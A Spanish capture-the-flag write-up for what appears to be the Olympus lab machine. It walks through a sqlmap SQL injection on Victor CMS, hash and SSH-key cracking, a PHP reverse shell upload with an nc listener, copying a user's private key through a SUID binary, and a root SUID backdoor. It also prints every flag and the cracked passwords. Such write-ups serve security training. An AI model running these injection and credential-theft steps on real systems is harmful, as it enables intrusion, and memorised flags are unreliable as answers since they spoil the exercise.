RECONOCIMIENTO — Escaneo de puertos
Se lanza un escaneo completo de puertos para mapear la superficie de ataque antes de pasar al análisis en profundidad de los servicios expuestos.
escaneo completo
nmap -p- -T5 <IP> -oG allPorts.txt
escaneo de servicios y versiones
nmap -p22,80 -sSCV -T5 -n -Pn -vvv <IP> -oN scan.txt
| PUERTO |
ESTADO |
SERVICIO |
VERSIÓN |
| 22/tcp | OPEN | ssh | OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 |
| 80/tcp | OPEN | http | Apache httpd 2.4.41 (Ubuntu) |
Redirección a olimpo
El escaneo revela que el servidor redirige a
http://olympus.thm. Es necesario añadir la entrada al
/etc/hosts para que el dominio resuelva correctamente antes de continuar con la enumeración web.
añadir al /etc/hosts
echo "<IP> olympus.thm" | sudo tee -a /etc/hosts
La web muestra un único mensaje indicando que la versión antigua del sitio sigue accesible en el mismo dominio. No hay nada más en el código fuente.
The website is still under developpment. If support is needed, please
contact root@the-it-department. The old version of the website is still
accessible on this domain.
ENUMERACIÓN WEB — Victor CMS
Se enumeran subdirectorios con gobuster para ampliar la superficie. Los resultados iniciales no son prometedores: /javascript devuelve 403 y /static no contiene nada de interés.
enumeración de directorios
gobuster dir -u http://olympus.thm/ -w <DICCIONARIO> -x php,txt,html,js
index.php (Status: 200) [Size: 1948]
static (Status: 301) [Size: 311]
javascript (Status: 301) [Size: 315]
phpmyadmin (Status: 403) [Size: 276]
Lanzando dirb con su wordlist por defecto se descubre el subdirectorio oculto que da acceso a la versión antigua.
dirb para descubrir rutas no estándar
dirb http://olympus.thm
==> DIRECTORY: http://olympus.thm/~webmaster/
Victor CMS — SQLi confirmada
El directorio
/~webmaster/ expone una instalación de
Victor CMS. Este software tiene una vulnerabilidad de inyección SQL documentada en el parámetro
search del fichero
search.php. La inyección es explotable directamente con sqlmap.
EXPLOTACIÓN — SQL Injection con sqlmap
Se lanza sqlmap apuntando al endpoint vulnerable con el payload marcado con el asterisco para indicar el punto de inyección. El flag --dbs enumera todas las bases de datos disponibles.
enumeración de bases de datos
sqlmap -u "http://olympus.thm/~webmaster/search.php" \
--data="search=1337*&submit=" --dbs --random-agent -v 3
[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys
La base de datos olympus contiene seis tablas. Se inspeccionan primero flag y luego users.
tablas en la base de datos olympus
sqlmap -u "http://olympus.thm/~webmaster/search.php" \
--data="search=1337*&submit=" -D olympus --tables --random-agent
Database: olympus
[6 tables]
+------------+
| categories |
| chats |
| comments |
| flag |
| posts |
| users |
+------------+
volcado de la tabla flag
sqlmap -u "http://olympus.thm/~webmaster/search.php" \
--data="search=1337*&submit=" -D olympus -T flag --dump --random-agent
FLAG 1
flag{Sm4rt!_k33P_d1gGIng}
volcado de la tabla users
sqlmap -u "http://olympus.thm/~webmaster/search.php" \
--data="search=1337*&submit=" -D olympus -T users --dump --random-agent
+----+---------+--------+-------+---------------------+-----------+-------------------------------------------------------------+
| id | role | uname | fname | email | lname | user_password |
+----+---------+--------+-------+---------------------+-----------+-------------------------------------------------------------+
| 3 | User | prome | <b> | prometheus@olympus | <b> | $2y$10$YC6uoMwK9VpB5QL513vrLu1RV2sqBf01c81zPHcz1gK2EArDvnj3C |
| 6 | Admin | root | <b> |
[email protected] | <b> | $2y$10$lcs4XWc5|VNSMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mk |
| 7 | User | zeus | <b> |
[email protected] | <b> | $2y$10$cpJKDXh2wLAI5KlCs0aLC0nf6g5f1G8QS053zp/r8HMtaj6rT4IC |
+----+---------+--------+-------+---------------------+-----------+-------------------------------------------------------------+
Subdominio chat.olympus.thm
Los emails de los usuarios revelan la existencia del subdominio
chat.olympus.thm. Hay que añadirlo al
/etc/hosts para poder acceder al panel de chat donde se usarán las credenciales crackeadas.
crackeo de hashes con john
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
summertime (prometheus)
CREDENCIAL
prometheus : summertime
ACCESO INICIAL — Reverse shell via upload
Con las credenciales de prometheus se accede al panel de chat.olympus.thm. La aplicación permite adjuntar ficheros en el chat. Se sube una reverse shell en PHP.
Al intentar acceder a /uploads/shell.php la respuesta es una página en blanco. Revisando la tabla chats de la base de datos se descubre el motivo.
volcado de la tabla chats
sqlmap -u "http://olympus.thm/~webmaster/search.php" \
--data="search=1337*&submit=" -D olympus -T chats --dump --random-agent
| 2022-04-05 | Attached : prometheus_password.txt | prometheus |
| 2022-04-05 | This looks great! I tested an upload and found the upload folder, but it | prometheus |
| | seems the filename got changed somehow because I can't download it back... | |
| 2022-04-06 | I know this is pretty cool. The IT guy used a random file name function to | zeus |
| | make it harder for attackers to access the uploaded files. | |
| 2026-03-31 | Attached : shell.php | prometheus |
| | af1cd75a6dd6d5356ccea9c6d49e1486.php | |
Renombrado aleatorio de ficheros
El servidor aplica una función de renombrado aleatorio a los ficheros subidos para dificultar el acceso directo. El nombre real del fichero queda registrado en la tabla
chats, lo que permite recuperarlo a través de la SQLi. En este caso el fichero se encuentra en
/uploads/af1cd75a6dd6d5356ccea9c6d49e1486.php.
ponerse a la escucha y lanzar la shell
nc -lvnp 4444
www-data@ip-10-128-137-147:/$
Shell como www-data
Acceso inicial conseguido como
www-data. El directorio
/home/zeus contiene la segunda flag.
lectura de la flag de usuario
cat /home/zeus/user.flag
USER FLAG
flag{Y0u_G0t_TH3_l1ghtN1nG_P0w3R}
ESCALADA — ZEUS — SUID cputils + clave RSA
Se buscan binarios con el bit SUID activo. Entre los resultados destaca /usr/bin/cputils, un binario personalizado que pertenece al usuario zeus y permite copiar ficheros arbitrarios con sus privilegios.
búsqueda de binarios SUID
find / -perm -4000 -ls 2>/dev/null
...
/usr/bin/cputils (owner: zeus, SUID activo)
...
SUID cputils — lectura de ficheros como zeus
El binario
cputils tiene SUID con propietario zeus. Permite copiar cualquier fichero al que zeus tenga acceso a una ruta que controle
www-data. Se usa para extraer la clave privada SSH de zeus ubicada en
/home/zeus/.ssh/id_rsa.
copia de la clave RSA de zeus
/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
File copied successfully.
la clave tiene passphrase — crackeo con john
ssh2john /tmp/id_rsa > zeus_rsa_hash
john --wordlist=/usr/share/wordlists/rockyou.txt zeus_rsa_hash
snowflake (zeus_rsa)
acceso SSH como zeus
ssh -i id_rsa zeus@<IP>
# passphrase: snowflake
zeus@ip-10-128-137-147:~$
ESCALADA — ROOT — Backdoor PHP
Se explora el directorio web en busca de ficheros interesantes. En /var/www/html/ existe un subdirectorio con nombre aparentemente aleatorio que contiene un fichero PHP sospechoso.
inspección del directorio web
ls /var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/
VIGQFQFMYOST.php
contenido del fichero PHP
<?php
$suid_bd = "/lib/defended/libc.so.99";
$shell = "uname -a; w; $suid_bd";
?>
Backdoor SUID — /lib/defended/libc.so.99
El fichero PHP expone la existencia de un binario oculto en
/lib/defended/libc.so.99 con el bit SUID activo y propietario root. Ejecutarlo directamente desde una sesión de zeus otorga una shell como
root.
escalada a root mediante el binario SUID
zeus@ip-10-128-137-147:/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc$ /lib/defended/libc.so.99
# whoami
root
# bash
root@ip-10-128-137-147:/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc#
flag de root
cat /root/root.flag
ROOT FLAG
flag{D4mN!_Y0u_G0T_m3_:)_}
BONUS FLAG — Regex hunting
En /root aparece un mensaje extra de Prometheus indicando que hay una flag oculta y recomendando acceder como root por SSH para encontrarla. La pista menciona que grep -irl flag{ es útil.
PS : Prometheus left a hidden flag, try and find it !
I recommend logging as root over ssh to look for it ;)
(Hint : regex can be usefull)
búsqueda recursiva de flags con regex
grep -irl "flag{" /
/etc/ssl/private/.b0nus.fl4g
lectura de la bonus flag
cat /etc/ssl/private/.b0nus.fl4g
Here is the final flag ! Congrats !
flag{Y0u_G0t_m3_g00d!}
As a reminder, here is a usefull regex :
grep -irl flag{
BONUS FLAG
flag{Y0u_G0t_m3_g00d!}
¿Por qué funciona grep -irl?
grep -i ignora mayúsculas/minúsculas,
-r hace la búsqueda recursiva por todo el árbol de directorios y
-l muestra solo los nombres de los ficheros que contienen coincidencias en lugar de las líneas completas. Combinado con el patrón
flag{ es una forma rápida de localizar flags ocultas en cualquier punto del sistema de ficheros.
CADENA DE ATAQUE
01
Enumeración — Victor CMS
gobuster no revela nada útil → dirb descubre /~webmaster/ con Victor CMS → SQLi en search.php confirmada
02
SQLi — Extracción de credenciales y flag
sqlmap vuelca la base de datos olympus → flag{Sm4rt!_k33P_d1gGIng} en tabla flag → hashes bcrypt de usuarios → john crackea prometheus:summertime
03
Upload + Rename bypass — Shell como www-data
Login en chat.olympus.thm → reverse shell subida como adjunto → nombre real recuperado via SQLi en tabla chats → acceso a /uploads/af1cd75a6dd6d5356ccea9c6d49e1486.php
04
SUID cputils — Clave RSA de zeus
/usr/bin/cputils con SUID de zeus permite leer /home/zeus/.ssh/id_rsa → passphrase crackeada con john (snowflake) → SSH como zeus
05
Backdoor PHP — /lib/defended/libc.so.99
Fichero PHP en directorio oculto del web expone ruta de binario SUID → /lib/defended/libc.so.99 → shell como root → flag{D4mN!_Y0u_G0T_m3_:)_}
⚡
Regex hunting — Bonus flag
grep -irl flag{ desde / localiza /etc/ssl/private/.b0nus.fl4g → flag{Y0u_G0t_m3_g00d!}